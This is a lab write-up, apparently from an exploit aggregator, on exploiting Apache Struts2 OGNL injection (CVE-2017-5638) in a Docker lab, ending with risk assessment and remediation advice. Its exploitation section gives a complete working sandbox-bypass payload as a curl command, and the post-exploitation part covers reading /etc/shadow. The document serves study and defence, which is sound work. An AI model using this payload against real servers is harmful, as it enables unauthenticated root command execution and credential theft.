## https://sploitus.com/exploit?id=8AD0C10E-3D18-5596-B029-DD228C1F9B3A
# LAB 1 โ Apache Struts2 OGNL Injection (CVE-2017-5638 / S2-045)
# **I. SYSTEM ANALYSIS**
### **Attack Surface Analysis**

After starting the container, Struts2 logs show that the application loads familiar configuration files such as **struts-default.xml**, **struts-plugin.xml**, and **struts.xml**. This confirms that the framework in use is **Apache Struts2**.

A notable point lies in the line:
`Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)`
This line indicates that Struts2 is choosing the **Jakarta multipart parser** (**multipart upload data analyzer**) to handle requests of type `multipart/form-data`, which is commonly encountered in file upload functionality.
This is a crucial signal when analyzing **S2-045 / CVE-2017-5638**, **since this vulnerability is related to the process where Struts2 handles errors when parsing multipart requests, especially with an invalid Content-Type header.**
However, this log only proves that the application uses Struts2 and a Jakarta-style multipart handler. It is **not yet sufficient to conclude that the application is definitely vulnerable**. To confirm, we need to determine the version of `struts2-core` and compare it against the affected version range.



When accessing the web service using `curl`, the response headers show that the application is running on **Jetty 9.2.11.v20150529**. This information helps identify the environment running the application (**servlet container**), but does not directly reveal the version of Struts2.
The web interface returns the **Struts2 Showcase - Fileupload sample** page, with an upload form using:
`method="POST"
enctype="multipart/form-data"
action="/upload.action"`
This matches the earlier log where Struts2 chose `jakarta` for `MultiPartRequest`: the application indeed has a file upload handling flow via **multipart/form-data**.
โ **Thinking**: The endpoint `/upload.action` uses `multipart/form-data`, matching the mechanism Struts2 processes via `Jakarta MultiPartRequest`. This is a sign that **strengthens the suspicion** of **S2-045/CVE-2017-5638**, but we need to determine the Struts2 version before concluding the application is vulnerable. Next, deeper verification is still needed regarding the **version** of `struts2-core` **and how the application handles errors when receiving an invalid Content-Type**.
### **Determining Struts2 Version**
After identifying that the application has an **upload endpoint using multipart/form-data**, the next analysis step is to find the actual version of Struts2. This is crucial because previous signs only **showed** that the application **has a mechanism related to multipart upload**, which is **not yet sufficient to conclude it is vulnerable**.

After identifying the correct container serving **Endpoint** 8001, checking the libraries is performed directly inside the container **project1-lab01-1**.
The result found the `struts2-core` file:
`/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar`
From this path, we can determine that the application is using **Apache Struts2 2.3.30**.

Comparing this with the published **CVE-2017-5638 / S2-045** vulnerability, it affects many older Struts2 versions, including the `2.3.x` branch before the patch. When combined with:
`Framework: Apache Struts2
Version: 2.3.30
Multipart parser: Jakarta
Endpoint: /upload.action
Content-Type: multipart/form-data`
The analysis condition chain becomes clearer:
`Struts2 Version 2.3.30 ContentType: text/plain
FileName: test.txt
File: /usr/src/target/tmp/upload_...
Caption:test`
โ A valid request proves that `/upload.action` indeed goes through the **multipart upload** mechanism because **curl -F generates multipart/form-data and the server can parse each part of the request**.
### **Verifying Reaction When Multipart Request Fails**


After sending a request declaring **Content-Type as multipart/form-data** but with a **body that does not conform to the multipart structure**, **the server still returns HTTP 200 OK**. However, the ContentType, FileName, File, and Caption fields are all empty. Checking the Docker logs, we notice that there is no boundary (**separator string between parts in multipart**), and the client still receives HTTP 200 OK. However, **Struts2 actually** `encountered an error` while processing the request.
This proves the chain of evidence:
`Faulty multipart request
โ Struts2 wraps request
โ MultiPartRequestWrapper is called
โ JakartaMultiPartRequest parses request
โ FileUploadException due to missing boundary`
โ Matches the components related to **S2-045/CVE-2017-5638**. Thus, the condition chain is more complete: **vulnerable version, Jakarta parser, upload endpoint, and the faulty request** goes into the **correct multipart processing branch**.
The critical point of **S2-045/CVE-2017-5638** **does not only** lie in the `multipart parser` failing. The parser error is just the **initial triggering condition**. The dangerous part lies in how **Struts2 subsequently handles the error message**. **With affected Struts2 versions**, when the `multipart parser` encounters an error, the error content can be fed into the Struts2 message handling mechanism. If an attacker controls part of the data appearing in the error, especially from the `Content-Type` header, that data can be evaluated by Struts2 via OGNL (**Object-Graph Navigation Language - the expression language of Struts/XWork**).
Thinking:
`Anomalous Content-Type
โ Jakarta multipart parser parsing error
โ Struts2 generates/logs error message
โ error message goes through expression evaluation mechanism
โ if malicious OGNL is present, it can lead to RCE`
---
# **II. EXPLOITATION**
Identifying that the target uses Struts2, and since Struts2 uses OGNL as its expression engine, searching on PayloadsAllTheThings shows that injecting `new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())` into Struts2 **will fail** because Struts2 has a **sandbox** that blocks access to `java.lang.Runtime`.

โ **Assemble** the found payload into the Struts2 exploitation structure:
**Trigger Jakarta Parser**
```
(#_="multipart/form-data")
```
**Bypass Struts2 Sandbox (Required)**
```
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
```
**Command Execution Payload**
```
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
```
**However, when executing the payload in practice, we encounter two issues:**
1. **Java Version Error:** The lab server runs Jetty 2015 (Java 8), while the `readAllBytes()` function is only supported starting from Java 9. If we persist in using it, OGNL will silently fail and return a blank HTML page. This is resolved by switching to use the `IOUtils` class from the `org.apache.commons.io` library (always available in Struts2) to read the stream.
2. **Output Filtering:** Even though the command has executed, embedding the result directly into the HTML stream can break the structure or get filtered. This is resolved by directly accessing the `HttpServletResponse`, using `getWriter().println()` to print the output first, and then calling `flush()` and `close()` to immediately terminate the connection. This forces the server to return the clean command execution result, bypassing all the junk HTML interface.
**โ Reassembling the above modifications, we get the complete curl command (using ProcessBuilder + IOUtils + Response Writer):**
```bash
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"
```

**Exploitation Successful!!!**
Although we achieved RCE with root privileges, each command has to be sent via a separate HTTP request, providing a non-interactive environment. A Reverse Shell allows establishing a persistent session, directly interacting with the target system as if sitting in front of the machine, serving information gathering and deeper post-exploitation.
---
# **III. POST-EXPLOITATION**
**Privilege Verification**
After successful exploitation, verify the privileges on the system:
```
uid=0(root) gid=0(root) groups=0(root)
```
โ The application runs with **root** privileges โ no privilege escalation is needed.
**Sensitive Data Gathering**
Read the `/etc/shadow` file (the file containing password hashes, which only root has permission to access):

โ Proves that the attacker has full read/write access to the system files, including the most sensitive ones.
**Note on Reverse Shell**
The reverse shell establishment was unsuccessful because the Docker container on Windows uses an internal network (bridge/NAT); the container cannot connect back to the attacker's machine (Kali) on the local LAN. However, this does not affect the severity of the vulnerability โ the attacker achieved RCE with root privileges and can execute any command on the system.
---
# **IV. RISK ASSESSMENT & REMEDIATION**
### **Risk Assessment**
The OGNL Injection vulnerability (CVE-2017-5638 / S2-045) on this system is assessed at the **highest risk** level:
| **Criteria** | **Assessment** | **Details** |
| --- | --- | --- |
| **CVSS Score** | **10.0 (Critical)** | Maximum absolute score. |
| **Authentication** | Not Required | The attacker does not need an account or to be logged in to exploit this. |
| **Complexity** | Very Low | Only requires sending a **single** HTTP Request (POST) containing the payload in the `Content-Type` header. |
| **Privileges Gained** | `root` | Full control over the application/container at the highest privilege level, with the ability to read/write any file (such as `/etc/shadow`). |
| **Lateral Movement** | High | From the compromised container, the attacker can scan the internal network (LAN) and attack other containers or host servers. |
### **Remediation Recommendations**
To completely remediate this vulnerability, the system administration and development teams should implement the following measures (ordered by priority):
**Urgent Priorities (Short-Term):**
1. **Upgrade Apache Struts2:** Immediately update the framework to a secure version (โฅ 2.3.32 or โฅ 2.5.10.1). This is a mandatory measure since the vulnerability resides in the core implementation of the `JakartaMultiPartRequest` library.
2. **Demote Execution Privileges:** Never run web applications (Jetty/Tomcat) under the `root` user. A dedicated user (e.g., `struts_user`) should be created with the minimal privileges necessary to run the application.
**High Priorities (Long-Term & Defense-in-Depth):**
3. **Deploy a WAF (Web Application Firewall):** Configure WAF rules to detect and block HTTP Requests containing OGNL payloads (e.g., `%{...}`, `${...}`, `ognl`, `java.lang.ProcessBuilder`) in the `Content-Type` header.
4. **Change Multipart Parser:** If the application is not required to use the Jakarta Parser, consider switching to an alternative library such as `Pell` or `COS` in the `struts.xml` configuration file (`struts.multipart.parser=cos`).
5. **Restrict Container Networking:** Do not keep the container on a shared bridge network unless necessary. Configure firewall rules to block the container from actively initiating outbound connections (Outbound traffic) to the Internet to prevent reverse shells.